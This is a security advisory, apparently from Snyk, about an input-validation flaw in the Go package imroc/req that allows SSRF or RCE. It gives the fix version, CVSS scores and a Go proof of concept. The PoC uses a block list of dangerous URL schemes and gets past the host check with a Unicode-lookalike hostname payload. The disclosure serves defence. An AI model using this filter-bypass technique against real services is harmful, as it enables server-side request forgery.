Improper Input Validation Affecting github.com/imroc/req package, versions >=3.7.0 <3.43.4


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-GOLANG-GITHUBCOMIMROCREQ-7675659
  • published 11 Aug 2024
  • disclosed 9 Aug 2024
  • credit zer0yu

How to fix?

Upgrade github.com/imroc/req to version 3.43.4 or higher.

Overview

Affected versions of this package are vulnerable to Improper Input Validation due to improper handling of malformed URLs via the url.Parse and client.R().Get functions. Exploiting this vulnerability might result in Server-Side Request Forgery (SSRF), or Remote Code Execution (RCE).

PoC

package main

import (
    "fmt"
    "github.com/imroc/req/v3"
    "io"
    "net/url"
    "strings"
)

func safeURLOpener(inputLink string) (*req.Response, error) {
    blockSchemes := map[string]bool{
        "file": true, "gopher": true, "expect": true,
        "php": true, "dict": true, "ftp": true,
        "glob": true, "data": true,
    }
    blockHost := map[string]bool{
        "vulndetector.com": true,
    }

    parsedUrl, err := url.Parse(inputLink)
    if err != nil {
        fmt.Println("Error parsing URL:", err)
        return nil, err
    }

    inputScheme := parsedUrl.Scheme
    inputHostname := parsedUrl.Hostname()

    if blockSchemes[inputScheme] {
        fmt.Println("input scheme is forbidden")
        return nil, nil
    }

    if blockHost[inputHostname] {
        fmt.Println("input hostname is forbidden")
        return nil, nil
    }

    client := req.C()
    resp, err := client.R().Get(inputLink)
    if err != nil {
        return nil, err
    }

    return resp, nil
}

func verify() {
    payload := "http://vulndⓔtector.com/"
    result, _ := safeURLOpener(payload)
    if result != nil {
        defer result.Body.Close()
        if result.StatusCode == 200 {
            bodyBytes, err := io.ReadAll(result.Body)
            if err != nil {
                fmt.Println("Failed to read response body:", err)
                return
            }
            bodyString := string(bodyBytes)
            if strings.Contains(bodyString, "FindVuln") {
                fmt.Println("payload find! ==>", payload)
            }
        }
    }
}

func main() {
    verify()
}

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None